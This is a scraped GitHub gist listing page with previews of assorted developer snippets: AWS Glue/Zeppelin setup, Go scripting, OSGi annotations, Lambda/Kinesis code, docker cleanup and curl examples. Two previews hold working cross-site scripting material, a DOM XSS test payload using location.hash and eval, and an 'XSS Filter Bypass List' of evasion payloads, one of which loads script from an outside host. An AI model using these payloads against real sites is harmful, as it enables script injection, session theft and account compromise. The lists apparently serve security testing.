Skip to content

Instantly share code, notes, and snippets.

View thomashartm's full-sized avatar

Thomas Hartmann thomashartm

  • Netcentric
  • Germany
View GitHub Profile
@gwhitelaw
gwhitelaw / aws-glue-zepplin.md
Last active January 26, 2022 01:39
Easily connect to an AWS Glue Dev endpoint

This is how I quickly got an Apache Zepplin notebook running against the AWS Glue Dev endpoint. None of the guides out there seemed concise, and I found some custom Docker containers doing what you can do easily. This gives you the power - it sets up port forwarding & runs the official Docker image.

  1. Create your Glue Dev endpoint (this involves creating a keypair, I just used ssh-keygen)
  2. Once READY, select it and copy the "SSH tunnel to remote interpreter"
  • eg: ssh -i <private-key.pem> -vnNT -L :9007:169.254.76.1:9007 glue@..compute.amazonaws.com
  1. Connect to the endpoint in a terminal session, modifying the above to match: ssh -i ~/.ssh/glue-dev -vnNT -L :9007:*127.0.0.1*:9007 glue@<ec2-endpoint>.<region>.compute.amazonaws.com
  2. Run the Apache Zepplin Docker container `docker run -p 8080:8080 --rm -v $PWD/logs:/logs -v $PWD/notebook:/notebook -e ZEPPELIN_LOG_DIR='/l
@posener
posener / go-shebang-story.md
Last active July 26, 2024 01:16
Story: Writing Scripts with Go

Story: Writing Scripts with Go

This is a story about how I tried to use Go for scripting. In this story, I’ll discuss the need for a Go script, how we would expect it to behave and the possible implementations; During the discussion I’ll deep dive to scripts, shells, and shebangs. Finally, we’ll discuss solutions that will make Go scripts work.

Why Go is good for scripting?

While python and bash are popular scripting languages, C, C++ and Java are not used for scripts at all, and some languages are somewhere in between.

@nateyolles
nateyolles / Configuration.java
Created May 25, 2017 20:36
OSGi Declarative Services Annotations
package com.nateyolles.aem.osgiannotationdemo.core.services.impl;
import org.apache.commons.lang3.StringUtils;
import org.osgi.service.metatype.annotations.AttributeDefinition;
import org.osgi.service.metatype.annotations.AttributeType;
import org.osgi.service.metatype.annotations.ObjectClassDefinition;
import org.osgi.service.metatype.annotations.Option;
@ObjectClassDefinition(name = "Annotation Demo Service - OSGi")
public @interface Configuration {
@justinsoliz
justinsoliz / lambda_kinesis_handler.js
Last active July 8, 2024 19:10
Terraform with lambda and kinesis
// applications/kinesis_streamer/lib/handler.js
import AWS from 'aws-sdk';
const kinesis = new AWS.Kinesis();
export function receiveEvent(event, context, callback) {
console.log('demoHandler');
console.log(`Event: ${JSON.stringify(event, null, 2)}`);
console.log(`Context: ${JSON.stringify(context, null, 2)}`);
const base64Data = event.Records[0].kinesis.data;
@xsscx
xsscx / gist:3bec235365d3c1d5b636203689129196
Created October 9, 2016 13:41
window.location.hash test domxss console.log(location.hash);
console.log(location.hash);
var tabValue = document.URL;
window.location = tabValue.substring(0, tabValue.lastIndexOf("#"));
console.log(location.hash);
window.location.hash = `#<noscript><script>confirm(1)&k7="><svg/t='&k8='onload='/&k9=/+eval(t)'`
location.reload();
console.log(location.hash);
@bastman
bastman / docker-cleanup-resources.md
Created March 31, 2016 05:55
docker cleanup guide: containers, images, volumes, networks

Docker - How to cleanup (unused) resources

Once in a while, you may need to cleanup resources (containers, volumes, images, networks) ...

delete volumes

// see: https://github.com/chadoe/docker-cleanup-volumes

$ docker volume rm $(docker volume ls -qf dangling=true)

$ docker volume ls -qf dangling=true | xargs -r docker volume rm

@subfuzion
subfuzion / curl.md
Last active July 25, 2024 08:53
curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active July 21, 2024 22:26
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@stillalex
stillalex / loops.sh
Last active October 26, 2017 21:50
Offline Compaction 1.0 loop
#!/bin/bash
count=${1:-100}
delay=${2:-1} # defaults to 1 second
ts=$(date +"%Y%m%d%H%M")
while [ $count -gt 0 ]; do
printf "==== Compaction run $count ====\n"
printf "Start: $(date)\n" >> compaction.$ts.$count.log
@chinshr
chinshr / Jenkinsfile
Last active October 16, 2023 09:25
Best of Jenkinsfile, a collection of useful workflow scripts ready to be copied into your Jenkinsfile on a per use basis.
#!groovy
# Best of Jenkinsfile
# `Jenkinsfile` is a groovy script DSL for defining CI/CD workflows for Jenkins
node {
}